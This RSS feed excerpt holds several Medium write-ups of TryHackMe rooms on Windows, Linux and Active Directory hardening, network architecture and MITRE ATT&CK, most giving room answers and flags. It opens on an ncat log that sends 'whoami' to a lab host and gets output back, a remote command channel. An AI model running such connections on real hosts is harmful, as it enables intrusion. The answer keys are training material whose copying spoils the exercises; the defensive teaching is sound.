default trusted CA certificates and those in /etc/ssl/certs/ca-certificates.crt.<br>libnsock nsock_iod_new2(): nsock_iod_new (IOD #1)<br>libnsock nsock_connect_tcp(): TCP connection requested to 10.49.159.238:8081 (IOD #1) EID 8<br>libnsock nsock_trace_handler_callback(): Callback: CONNECT SUCCESS for EID 8 [10.49.159.238:8081]<br>Ncat: Connected to 10.49.159.238:8081.<br>libnsock nsock_iod_new2(): nsock_iod_new (IOD #2)<br>libnsock nsock_read(): Read request from IOD #1 [10.49.159.238:8081] (timeout: -1ms) EID 18<br>libnsock nsock_readbytes(): Read request for 0 bytes from IOD #2 [peer unspecified] EID 26<br>whoami<br>libnsock nsock_trace_handler_callback(): Callback: READ SUCCESS for EID 26 [peer unspecified] (7 bytes): whoami.<br>libnsock nsock_write(): Write request for 7 bytes to IOD #1 EID 35 [10.49.159.238:8081]<br>libnsock nsock_trace_handler_callback(): Callback: WRITE SUCCESS for EID 35 [10.49.159.238:8081]<br>libnsock nsock_readbytes(): Read request for 0 bytes from IOD #2 [peer unspecified] EID 42<br>libnsock nsock_trace_handler_callback(): Callback: READ SUCCESS for EID 18 [10.49.159.238:8081] (11 bytes): thmredteam.<br>thmredteam<br>libnsock nsock_readbytes(): Read request for 0 bytes from IOD #1 [10.49.159.238:8081] EID 50</pre><p><strong>Ans:</strong> 28</p><h3>Task 9 — Next-Generation Firewalls</h3><h4>1) What is the number of the highest OSI layer that an NGFW can process?</h4><p><strong>Ans:</strong> 7</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c93e929d7a44" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Hardening — Writeup]]></title>
            <link>https://medium.com/@mahir-m01/active-directory-hardening-writeup-ff607d74ca1c?source=rss-d7c65197ef09------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff607d74ca1c</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Mahir]]></dc:creator>
            <pubDate>Tue, 13 Jan 2026 05:35:27 GMT</pubDate>
            <atom:updated>2026-01-13T05:35:27.722Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0x7uJLOPCp-c8jukZGLjfQ.jpeg" /></figure><h3>Active Directory Hardening — Writeup</h3><p>This is a short writeup for the TryHackMe room — Active Directory Hardening</p><p><strong>Note:</strong></p><ul><li>The questions are shortened for a cleaner view</li><li>Questions that are straightforward will only have answers attached. Such questions can be easily answered by reading the documentation given in the room.</li></ul><h3>Task 1 — Introduction</h3><p>No answer needed</p><h3>Task 2 — Understanding General Active Directory Concepts</h3><h4>1) What is the root domain in the attached AD machine?</h4><p><em>Open </em><em>Active Directory USers and Computers</em></p><p><strong>Ans:</strong> tryhackme.loc</p><h3>Task 3 — Securing Authentication Methods</h3><h4>1) What is the default minimum password length in the attached VM?</h4><p><em>It can be found here :</em><em>Group Policy Management Editor &gt; Computer Configuration &gt; Policies &gt; Windows Settings &gt; Security Settings &gt; Account Policies &gt; Password Policy</em></p><p><strong>Ans:</strong> 7</p><h3>Task 4 — Implementing Least Privilege Model</h3><h4>1) What is the root domain in the attached AD machine?</h4><p><em>Open </em><em>Active Directory USers and Computers</em></p><p><strong>Ans:</strong> tryhackme.loc</p><h3>Task 5 — Microsoft Security Compliance Toolkit</h3><h4>1) Can you find the flag?</h4><p><em>Open a powershell window and head over to the following directory: </em><em>C:\Users\Administrator\Desktop\Scripts\Windows Server 2019 Security Baseline\Local Script\</em></p><p><em>Then open the script:</em></p><pre>type BaselineLocalInstall.ps1</pre><p><strong>Ans:</strong> THM{00001}</p><h4>2) Can you find the flag?</h4><p><em>Open a powershell window and head over to the following directory: </em><em>C:\Users\Administrator\Desktop\Scripts\PolicyAnalyzer\PolicyAnalyzer_40</em></p><p><em>Then open the script:</em></p><pre>type Merge-PolicyRules.ps1</pre><p><strong>Ans:</strong> THM{00191}</p><h3>Task 6 — Protecting Against Known Attacks</h3><h4>1) Does Kerberoasting utilise an offline-attack scheme for cracking…?</h4><blockquote><em>The attacker exploits Kerberos Ticket Granting Service (TGS) to request an encrypted password, and then the attacker cracks it offline through various brute force techniques.</em></blockquote><p><strong>Ans:</strong> yea</p><h4>2) As per the generated report, how many users have the same password…?</h4><p><em>Open the file Password-Reports.png and observe the </em><em>aaron.booth entry.</em></p><p><strong>Ans:</strong> 186</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff607d74ca1c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Microsoft Windows Hardening — Writeup]]></title>
            <link>https://medium.com/@mahir-m01/microsoft-windows-hardening-writeup-515f42a9460a?source=rss-d7c65197ef09------2</link>
            <guid isPermaLink="false">https://medium.com/p/515f42a9460a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[hardening]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Mahir]]></dc:creator>
            <pubDate>Mon, 12 Jan 2026 05:40:41 GMT</pubDate>
            <atom:updated>2026-01-12T05:40:41.013Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vm5NWyNwN5m9cAqWUVaPUA.png" /></figure><h3>Microsoft Windows Hardening — Writeup</h3><p>This is a short writeup for the TryHackMe room — Microsoft Windows Hardening.</p><p><strong>Note:</strong></p><ul><li>The questions are shortened for a cleaner view</li><li>Questions that are straightforward will only have answers attached. Such questions can be easily answered by reading the documentation given in the room.</li></ul><h3>Task 1 — Introduction</h3><p>No answer needed</p><h3>Task 2 — Understanding General Concepts</h3><h4>1) What is the startup type of App Readiness service in the services panel?</h4><p><em>Search for </em><em>services in the search box and open it. Double click on </em><em>App Readiness to know more.</em></p><p><strong>Ans:</strong> Manual</p><h4>2) What is the default value of the key?</h4><p><em>Search for </em><em>registry in the search box and open it. </em><em>Ctrl + F to open the search box and search for </em><em>tryhackme.</em></p><p><strong>Ans:</strong> {THM_REG_FLAG}</p><h4>3) Can you find the flag?</h4><p><em>The flag is in the following location: </em><em>C:\ProgramData\Microsoft\Diagnosis\flag.txt.txt. Its not possible to open it as is, so open </em><em>Notepad with admin privileges and then open the file.</em></p><p><strong>Ans:</strong> {THM_REG_FLAG}</p><h3>Task 3 — Identity &amp; Access Management</h3><h4>1) Find the name of the Administrator Account of the attached VM.</h4><p><em>Go to </em><em>Control Panel &gt; User Accounts</em></p><p><strong>Ans:</strong> Harden</p><h4>2) What is the default level of Notification?</h4><p><em>To access UAC, go to </em><em>Control Panel -&gt; User Accounts and click on </em><em>Change User Account Control Setting.</em></p><p><strong>Ans:</strong> Always Notify</p><h4>3) How many standard accounts are created in the VM?</h4><p><em>There is only 1 admin account, no standard accounts.</em></p><p><strong>Ans:</strong> 0</p><h3>Task 4 — Network Management</h3><h4>1) Which of the following profiles is active?</h4><p><em>For me it was showing that the </em><em>Public Profile is Active so I&#39;m not really sure why the answer is </em><em>Private...</em></p><p><strong>Ans:</strong> Private</p><h4>2) How many standard accounts are created in the VM?</h4><p><em>Run, the following command in </em><em>command prompt or </em><em>powershell.</em></p><pre>type C:\Windows\System32\Drivers\etc\hosts</pre><p><strong>Ans:</strong> 0</p><h4>3) What is the Physical address for the IP address 255.255.255.255?</h4><pre>C:\Users\Harden&gt;arp -a</pre><pre>Interface: 10.49.186.172 --- 0x5<br>  Internet Address      Physical Address      Type<br>  10.49.128.1           0a-8d-9c-ee-ea-81     dynamic<br>  10.49.191.255         ff-ff-ff-ff-ff-ff     static<br>  169.254.169.254       0a-8d-9c-ee-ea-81     dynamic<br>  224.0.0.22            01-00-5e-00-00-16     static<br>  224.0.0.251           01-00-5e-00-00-fb     static<br>  224.0.0.252           01-00-5e-00-00-fc     static<br>  239.255.255.250       01-00-5e-7f-ff-fa     static<br>  255.255.255.255       ff-ff-ff-ff-ff-ff     static</pre><p><strong>Ans:</strong> ff-ff-ff-ff-ff-ff</p><h3>Task 5 — Application Management</h3><h4>1) What is the extension?</h4><p><em>Go to </em><em>Virus and Threat Protection -&gt; Exclusions.</em></p><p><strong>Ans:</strong> .ps</p><h4>2) Is it best practice to open it immediately on your personal computer ?</h4><p><strong>Ans:</strong> nay</p><h4>3) What is the flag you received after executing the Office Hardening Batch file?</h4><p><strong>Ans:</strong> {THM_1101110}</p><h3>Task 6 — Storage Management</h3><h4>1) Can you read the last six digits of the recovery key?</h4><p><em>The recovery key can be found in the </em><em>Documents folder.</em></p><pre>Recovery Key:</pre><pre>    132858-327525-689172-680790-354607-080454-642268-377564</pre><p><strong>Ans:</strong> 377564</p><h4>2) How many characters does the BitLocker recovery key have…?</h4><p><em>I used python to find the length:</em></p><pre>print(len(&quot;132858327525689172680790354607080454642268377564&quot;))</pre><p><strong>Ans:</strong> 48</p><h4>3) What is the extension of that file?</h4><p><strong>Ans:</strong> .bkf</p><h3>Task 7 — Updating Windows</h3><h4>1) What is the CVE score for the vulnerability CVE ID CVE-2022–32230?</h4><p><em>You can find more information about the </em><em>cve </em><a href="https://www.cvedetails.com/cve/CVE-2022-32230/"><em>here</em></a><em>.</em></p><blockquote><em>Microsoft Windows SMBv3 suffers from a null pointer dereference in versions of Windows prior to the April, 2022 patch set. By sending a malformed FileNormalizedNameInformation SMBv3 request over a named pipe, an attacker can cause a Blue Screen of Death (BSOD) crash of the Windows kernel. For most systems, this attack requires authentication, except in the special case of Windows Domain Controllers, where unauthenticated users can always open named pipes as long as they can establish an SMB session. Typically, after the BSOD, the victim SMBv3 server will reboot.</em></blockquote><p><strong>Ans:</strong> 7.8</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=515f42a9460a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux System Hardening — Writeup]]></title>
            <link>https://medium.com/@mahir-m01/linux-system-hardening-writeup-9654a98cf05e?source=rss-d7c65197ef09------2</link>
            <guid isPermaLink="false">https://medium.com/p/9654a98cf05e</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[system-hardening]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Mahir]]></dc:creator>
            <pubDate>Sat, 10 Jan 2026 11:35:07 GMT</pubDate>
            <atom:updated>2026-01-10T11:35:07.123Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*dYhR1TQwOak6fvRQ1pegGA.png" /></figure><h3>Linux System Hardening — Writeup</h3><p>This is a short writeup for the TryHackMe room — Linux System Hardening</p><p><strong>Note:</strong></p><ul><li>The questions are shortened for a cleaner view</li><li>Questions that are straightforward will only have answers attached. Such questions can be easily answered by reading the documentation given in the room.</li></ul><h3>Task 1 — Introduction</h3><p>No answer needed</p><h3>Task 2 — Physical Security</h3><h4>1) What command can you use to create a password for the GRUB bootloader?</h4><p><strong>Ans:</strong> grub2-mkpasswd-pbkdf2</p><h4>2) What does PBKDF2 stand for?</h4><blockquote><em>PBKDF2 (Password-Based Key Derivation Function 2) is ==a cryptographic standard that securely turns a password or passphrase into a long, strong cryptographic key, primarily by applying a pseudorandom function (like HMAC) iteratively with a unique salt and a high number of rounds (iterations)==. Its purpose is to make </em><a href="https://www.google.com/search?sca_esv=b04cb06c25fa1fe2&amp;sxsrf=ANbL-n5aXI4yXdtvvK9u9FZLuGnXP-9-4Q%3A1767971561952&amp;q=brute-force+attacks&amp;sa=X&amp;ved=2ahUKEwjz9bCn3_6RAxXdR2wGHUp5MTgQxccNegQILBAB&amp;mstk=AUtExfCe6yPdgkD1nfNQvFIpVNbMmn_8rQ8qUKHFC-dxSHNKELYVTKyXOxgX0k47eqWrq7w8dRuVV3Z0SgUFZ22JD1T-LzHDpQYEqNzfOxhz1wXjrcu3-fXAauOe1-C05AeclQPKVT1FG4kAGpe_NKSZp8yleP2jeT_xb7CFDbtzeZPW9kOCd0sv89IhCzjSEQKgYdVh8ujKQtus7xcEleqJremwuf7xgLX3jMZ687DDAlADA-ja_FXLFFTPel6yXHSLFiBTd9yVXGII1CRPjJHqdyKN&amp;csui=3"><em>brute-force attacks</em></a><em> computationally expensive and slow, protecting stored passwords and creating encryption keys, and is defined in </em><a href="https://www.google.com/search?sca_esv=b04cb06c25fa1fe2&amp;sxsrf=ANbL-n5aXI4yXdtvvK9u9FZLuGnXP-9-4Q%3A1767971561952&amp;q=RFC+2898&amp;sa=X&amp;ved=2ahUKEwjz9bCn3_6RAxXdR2wGHUp5MTgQxccNegQILBAC&amp;mstk=AUtExfCe6yPdgkD1nfNQvFIpVNbMmn_8rQ8qUKHFC-dxSHNKELYVTKyXOxgX0k47eqWrq7w8dRuVV3Z0SgUFZ22JD1T-LzHDpQYEqNzfOxhz1wXjrcu3-fXAauOe1-C05AeclQPKVT1FG4kAGpe_NKSZp8yleP2jeT_xb7CFDbtzeZPW9kOCd0sv89IhCzjSEQKgYdVh8ujKQtus7xcEleqJremwuf7xgLX3jMZ687DDAlADA-ja_FXLFFTPel6yXHSLFiBTd9yVXGII1CRPjJHqdyKN&amp;csui=3"><em>RFC 2898</em></a><em>.</em></blockquote><p><strong>Ans:</strong> Password-Based Key Derivation Function 2</p><h3>Task 3 — Filesystem Partitioning and Encryption</h3><h4>1) What does LUKS stand for?</h4><p><strong>Ans:</strong> Linux Unified Key Setup</p><h4>2) What is the flag in the secret vault?</h4><p>Step 1: Decrypt/Open the Encrypted Image with cryptsetup</p><p>Use cryptsetup to decrypt the image file.</p><pre>sudo cryptsetup open /home/tryhackme/secretvault.img myvault</pre><ul><li><strong>open</strong>: Opens/decrypts the LUKS container</li><li><strong>/home/tryhackme/secretvault.img</strong>: The encrypted file</li><li><strong>myvault</strong>: The name for the decrypted device mapping</li><li>When prompted, enter the password: 2N9EdZYNkszEE3Ad</li></ul><p>After this command, the decrypted device will be available at /dev/mapper/myvault</p><p>Step 2: Mount the Decrypted Device</p><p>Now mount the decrypted device</p><pre>sudo mount /dev/mapper/myvault myvault</pre><p>Step 3: Access the Files</p><p>Now you can read the files:</p><pre>ls myvault</pre><p><strong>Ans:</strong> THM{LUKS_not_LUX}</p><h3>Task 4 — Firewall</h3><h4>1) It is allowing another TCP port; what is it?</h4><p><em>Run the following command:</em></p><pre>sudo ufw status</pre><pre>Status: active</pre><pre>To                         Action      From<br>--                         ------      ----<br>22/tcp                     ALLOW       Anywhere                  <br>14298/udp                  ALLOW       Anywhere                  <br>12526/tcp                  ALLOW       Anywhere                  <br>22/tcp (v6)                ALLOW       Anywhere (v6)             <br>14298/udp (v6)             ALLOW       Anywhere (v6)             <br>12526/tcp (v6)             ALLOW       Anywhere (v6)</pre><p><strong>Ans:</strong> 12526</p><h4>2) What is the allowed UDP port?</h4><p><strong>Ans:</strong> 14298</p><h3>Task 5 — Remote Access</h3><h4>1) What flag is hidden in the sshd_config file?</h4><p><em>I used </em><em>grep to search through the file to make it easier:</em></p><pre>grep &quot;THM&quot; /etc/ssh/sshd_config<br># THM{secure_SEA_shell}</pre><p><strong>Ans:</strong> THM{secure_SEA_shell}</p><h3>Task 6 — Securing User Accounts</h3><h4>1) What is the suggested value to use for the shell?</h4><p><strong>Ans:</strong> /sbin/nologin</p><h4>2) What is the name of the RedHat and Fedora systems sudoers group?</h4><p><strong>Ans:</strong> wheel</p><h4>3) What is the name of the sudoers group on Debian and Ubuntu systems?</h4><p><strong>Ans:</strong> sudo</p><h4>4) Other than tryhackme and ubuntu, what is the username...?</h4><p><em>The following command lists all users in </em><em>sudo group:</em></p><pre>getent group sudo</pre><p><strong>Ans:</strong> blacksmith</p><h3>Task 7 — Software and Services</h3><h4>1) Besides FTPS, what is another secure replacement for TFTP and FTP?</h4><blockquote><em>Instead of Telnet, the SSH protocol is now widely available. For example, the Secure File Transfer Protocol (SFTP) protocol provides a great alternative to the TFTP protocol. The critical point is that a secure alternative is selected and used.</em></blockquote><p><strong>Ans:</strong> SFTP</p><h3>Task 8 — Update and Upgrade Policies</h3><h4>1) What command would you use to update an older Red Hat system?</h4><p><strong>Ans:</strong> yum update</p><h4>2) What command would you use to update a modern Fedora system?</h4><p><strong>Ans:</strong> dnf update</p><h4>3) What two commands are required to update a Debian system?</h4><p><strong>Ans:</strong> apt update &amp;&amp; apt upgrade</p><h4>4) What does yum stand for?</h4><p><strong>Ans:</strong> Yellowdog Updater, Modified</p><h4>5) What does dnf stand for?</h4><p><strong>Ans:</strong> Dandified YUM</p><h4>6) What flag is hidden in the sources.list file?</h4><p><em>For some reason there was no flag when I was doing the room but this command would have worked:</em></p><pre>grep &quot;THM&quot; /etc/apt/sources.list</pre><p><strong>Ans:</strong> THM{not_Advanced_Persistent_Threat}</p><h3>Task 9 — Audit and Log Configuration</h3><h4>1) What command can you use to display the last 15 lines of kern.log?</h4><p><strong>Ans:</strong> tail -n 15 kern.log</p><h4>2) What command can you use to display the lines containing…?</h4><p><strong>Ans:</strong> grep denied secure</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9654a98cf05e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Secure Network Architecture — Writeup]]></title>
            <link>https://medium.com/@mahir-m01/secure-network-architecture-writeup-3375d4cd02d6?source=rss-d7c65197ef09------2</link>
            <guid isPermaLink="false">https://medium.com/p/3375d4cd02d6</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mahir]]></dc:creator>
            <pubDate>Thu, 08 Jan 2026 05:38:18 GMT</pubDate>
            <atom:updated>2026-01-08T05:38:18.820Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JNxUzKCX-eKqoaaOec8FsA.jpeg" /></figure><h3>Secure Network Architecture — Writeup</h3><p>This is a short writeup for the TryHackMe room — Network Structure Architecture</p><p><strong>Note:</strong></p><ul><li>The questions are shortened for a cleaner view</li><li>Questions that are straightforward will only have answers attached. Such questions can be easily answered by reading the documentation given in the room.</li></ul><h3>Secure Network Architecture</h3><h3>Task 1 — Introduction</h3><p>No answer needed</p><h3>Task 2 — Network Segmentation</h3><h4>1) How many trunks are present in this configuration?</h4><pre>/ # ovs-vsctl show<br>87c2a3ee-5374-435a-81c2-e8aafa96e3b9<br>    Bridge br2<br>        datapath_type: netdev<br>        Port br2<br>            Interface br2<br>                type: internal<br>    Bridge br1<br>        datapath_type: netdev<br>        Port br1<br>            Interface br1<br>                type: internal<br>    Bridge br0<br>        datapath_type: netdev<br>        Port eth9<br>            tag: 30<br>            Interface eth9<br>        Port br0<br>            Interface br0<br>                type: internal<br>        Port eth13<br>            tag: 30<br>            Interface eth13<br>        Port eth14<br>            tag: 30<br>            Interface eth14<br>        Port eth15<br>            tag: 30<br>            Interface eth15<br>        Port eth2<br>            tag: 10<br>            Interface eth2<br>        Port eth8<br>            tag: 30<br>            Interface eth8<br>        Port eth3<br>            tag: 20<br>            Interface eth3<br>        Port eth7<br>            tag: 30<br>            Interface eth7<br>        Port eth4<br>            tag: 20<br>            Interface eth4<br>        Port eth10<br>            tag: 30<br>            Interface eth10<br>        Port eth5<br>            tag: 20<br>            Interface eth5<br>        Port eth6<br>            tag: 30<br>            Interface eth6<br>        Port eth12<br>            tag: 30<br>            Interface eth12<br>        Port eth0<br>            Interface eth0<br>        Port eth11<br>            tag: 30<br>            Interface eth11<br>        Port eth1<br>            tag: 10<br>            Interface eth1<br>    Bridge br3<br>        datapath_type: netdev<br>        Port br3<br>            Interface br3<br>                type: internal</pre><p><em>Since there are 4 bridges there are 4 trunks.</em></p><p><strong>Ans:</strong> 4</p><h4>2) What is the VLAN tag ID for interface eth12?</h4><pre>Port eth12<br>            tag: 30<br>            Interface eth12</pre><p><strong>Ans:</strong> 30</p><h3>Task 3 — Common Secure Network Architecture</h3><h4>1) From the above table, what zone would a user connecting to a public web server be in?</h4><p><strong>Ans:</strong> External</p><h4>2) From the above table, what zone would a public web server be in?</h4><p><strong>Ans:</strong> DMZ</p><h4>3) From the above table, what zone would a core domain controller be placed in?</h4><p><strong>Ans:</strong> Restricted</p><h3>Task 4 — Network Security Policies and Controls</h3><h4>1) According to the corresponding ACL policy, will the first packet result in a drop or accept?</h4><p><em>The packet is valid and should be accepted.</em></p><p><strong>Ans:</strong> External</p><h4>2) According to the corresponding ACL policy, will the second packet result in a drop or accept?</h4><pre>Destination Port: 2</pre><p><em>This is an invalid port and hence it will be dropped.</em></p><p><strong>Ans:</strong> drop</p><h3>Task 5 — Zone-Pair Policies and Filtering</h3><h4>1) What is the flag found after filling in all blanks on the static site?</h4><p><em>Here is the rules table:</em></p><p>Command ScopeZone / Firewall NameParameterValuezone-policyDMZdefault-actiondropzone-policyDMZinterfaceEth0.10zone-policyLANdefault-actiondropzone-policyLANinterfaceEth0.20firewalldmz-landescriptiondmz-lanfirewalldmz-landefault-actiondropfirewalldmz-lanrule 100 actionacceptfirewalldmz-lanrule 100 protocolhttp</p><p><strong>Ans:</strong> THM{M05tly_53cure}</p><h3>Task 6 — Validating Network Traffic</h3><blockquote><em>SSL/TLS inspection uses an </em><strong><em>SSL proxy</em></strong><em> to intercept protocols, including HTTP, POP3, SMTP, or other SSL/TLS encrypted traffic. Once intercepted, the proxy will decrypt the traffic and send it to be processed by a </em><strong><em>UTM</em></strong><em> (</em><strong><em>U</em></strong><em>nified </em><strong><em>T</em></strong><em>hreat </em><strong><em>M</em></strong><em>anagement) platform. UTM solutions will employ deep SSL inspection, feeding the decrypted traffic from the proxy into other UTM services, including but not limited to web filters or </em><strong><em>IPS</em></strong><em> (</em><strong><em>I</em></strong><em>ntrusion </em><strong><em>P</em></strong><em>revention </em><strong><em>S</em></strong><em>ystem), to process the information.</em></blockquote><h4>1) Does SSL inspection require a man-in-the-middle proxy? (Y/N)</h4><p><strong>Ans:</strong> Y</p><h4>2) What platform processes data sent from an SSL proxy?</h4><p><strong>Ans:</strong> Unified Threat Management</p><h3>Task 7 — Addressing Common Attacks</h3><h4>1) Where does DHCP snooping store leased IP addresses from untrusted hosts?</h4><blockquote><em>The switch will store untrusted hosts with leased IP addresses in a </em><strong><em>DHCP Binding Database</em></strong><em>.</em></blockquote><p><strong>Ans:</strong> DHCP Binding Database</p><h4>2) Will a switch drop or accept a DHCPRELEASE packet?</h4><p>Below is a list of conditions the protocol will inspect to determine if a DHCP packet should be dropped.</p><ul><li>Any DHCP packet is received from outside of the network.</li><li>The source MAC address and DHCP client hardware address do not match.</li><li>A DHCPRELEASE or DHCPDECLINE packet is received on an untrusted interface that does not match an interface that the source address already has registered.</li><li>A DHCP packet that includes a relay agent address that is not 0.0.0.0</li></ul><p><strong>Ans:</strong> drop</p><h4>3) Does dynamic ARP inspection use the DHCP binding database? (Y/N)</h4><p><strong>Ans:</strong> Y</p><h4>4) Dynamic ARP inspection will match an IP address and what other packet detail?</h4><p><strong>Ans:</strong> MAC Address</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3375d4cd02d6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MITRE — Writeup]]></title>
            <link>https://medium.com/@mahir-m01/mitre-writeup-deed77bf19aa?source=rss-d7c65197ef09------2</link>
            <guid isPermaLink="false">https://medium.com/p/deed77bf19aa</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mitre]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Mahir]]></dc:creator>
            <pubDate>Wed, 07 Jan 2026 07:05:48 GMT</pubDate>
            <atom:updated>2026-01-07T07:05:48.678Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y3VQQKqoFXQMNJvM9zVyMg.png" /></figure><h3>MITRE — Writeup</h3><p>This is a short writeup for the TryHackMe room — MITRE</p><p><strong>Note:</strong></p><ul><li>The questions are shortened for a cleaner view</li><li>Questions that are straightforward will only have answers attached. Such questions can be easily answered by reading the documentation given in the room.</li></ul><h3>Task 1 — Introduction</h3><p>No answer needed</p><h3>Task 2 — ATT&amp;CK® Framework</h3><h4>1) What Tactic does the Hide Artifacts technique belong to in the ATT&amp;CK Matrix?</h4><p><em>The matrix is available </em><a href="https://attack.mitre.org/matrices/"><em>here</em></a><em>. I just used the search box to search for the technique and used the left column view to identify the Tactic.</em></p><p><strong>Ans:</strong> Defense Evasion</p><h4>2) Which ID is associated with the Create Account technique?</h4><p><em>Search for the </em><em>Create Account Technique.</em></p><p><strong>Ans:</strong> T1136</p><h3>Task 3 — ATT&amp;CK in Operation</h3><h4>1) In which country is Mustang Panda based?</h4><p><em>A simple google search should suffice.</em></p><p><strong>Ans:</strong> China</p><h4>2) Which ATT&amp;CK technique ID maps to Mustang Panda’s Reconnaissance tactics?</h4><p><em>Since they primarily use </em><em>Phishing , I looked at the </em><em>Phishing for Information tactic</em></p><p><strong>Ans:</strong> T1598</p><h4>3) Which software is Mustang Panda known to use for Access Token Manipulation?</h4><p><em>This is hard to find through the navigator so I ended up searching for it </em><a href="https://markdown-to-medium.surge.sh/["><em>here</em></a><em>](</em><a href="https://attack.mitre.org/groups/G0129/"><em>https://attack.mitre.org/groups/G0129/</em></a><em>)</em></p><p><strong>Ans:</strong> Cobalt Strike</p><h3>Task 4 — ATT&amp;CK for Threat Intelligence</h3><h4>1) Which APT group has targeted the aviation sector…?</h4><p><em>I searched for </em><em>aviation on the webpage.</em></p><p><strong>Ans:</strong> APT33</p><h4>2) Which ATT&amp;CK sub-technique used by this group is a key area of concern…?</h4><p><em>I clicked on the group to find more details and searched for </em><em>365</em></p><p><strong>Ans:</strong> Cloud Accounts</p><h4>3) According to ATT&amp;CK, what tool is linked to the APT group…?</h4><p><strong>Ans:</strong> Ruler</p><h4>4) Which mitigation strategy advises removing inactive or unused accounts to…?</h4><p><em>I clicked on </em><em>Cloud Accounts for the detailed view and headed over to </em><em>Mitigation Techniques.</em></p><p><strong>Ans:</strong> User Account Management</p><h4>5) What Detection Strategy ID would you implement to detect abused…?</h4><p><em>I looked at the </em><em>Detection Strategies for </em><em>Cloud Accounts.</em></p><p><strong>Ans:</strong> DET0546</p><h3>Task 5 — Cyber Analytics Repository (CAR)</h3><h4>1) Which ATT&amp;CK Tactic is associated with <a href="https://car.mitre.org/analytics/CAR-2019-07-001/">CAR-2019–07–001</a>?</h4><p><em>This is under the </em><em>Tactics(s) field.</em></p><p><strong>Ans:</strong> Defense Evasion</p><h4>2) What is the Analytic Type for Access Permission Modification?</h4><p><em>This is available in the small information box on the top-right.</em></p><p><strong>Ans:</strong> Situational Awareness</p><h3>Task 6 — MITRE D3FEND Framework</h3><h4>1) Which sub-technique of <a href="https://d3fend.mitre.org/technique/d3f:UserBehaviorAnalysis/">User Behavior Analysis</a> would you use to analyze…?</h4><p><em>Searching for </em><em>geolocation highlights the sub-tactic</em></p><p><strong>Ans:</strong> User Geolocation Logon Pattern Analysis</p><h4>2) Which digital artifact does this sub-technique rely on analyzing?</h4><p><em>I checked the </em><em>Artifact Relationships section.</em></p><p><strong>Ans:</strong> Network Traffic</p><h3>Task 7 — Other MITRE Projects</h3><p><em>Its on the right of the webpage where there is an overview of the techniques.</em></p><h4>1) What technique ID is associated with <a href="https://aadapt.mitre.org/techniques/ADT3025">Scrape Blockchain Data</a>…?</h4><p><strong>Ans:</strong> ADT3025</p><h4>2) Which tactic does <a href="https://atlas.mitre.org/techniques/AML.T0068">LLM Prompt Obfuscation</a> belong…?</h4><p><strong>Ans:</strong> Defense Evasion</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=deed77bf19aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2025 —  Complete Writeup]]></title>
            <link>https://medium.com/@mahir-m01/advent-of-cyber-2025-complete-writeup-7a5548a02b1c?source=rss-d7c65197ef09------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a5548a02b1c</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[advent-of-cyber-2025]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mahir]]></dc:creator>
            <pubDate>Wed, 24 Dec 2025 19:13:56 GMT</pubDate>
            <atom:updated>2025-12-24T19:13:56.385Z</atom:updated>
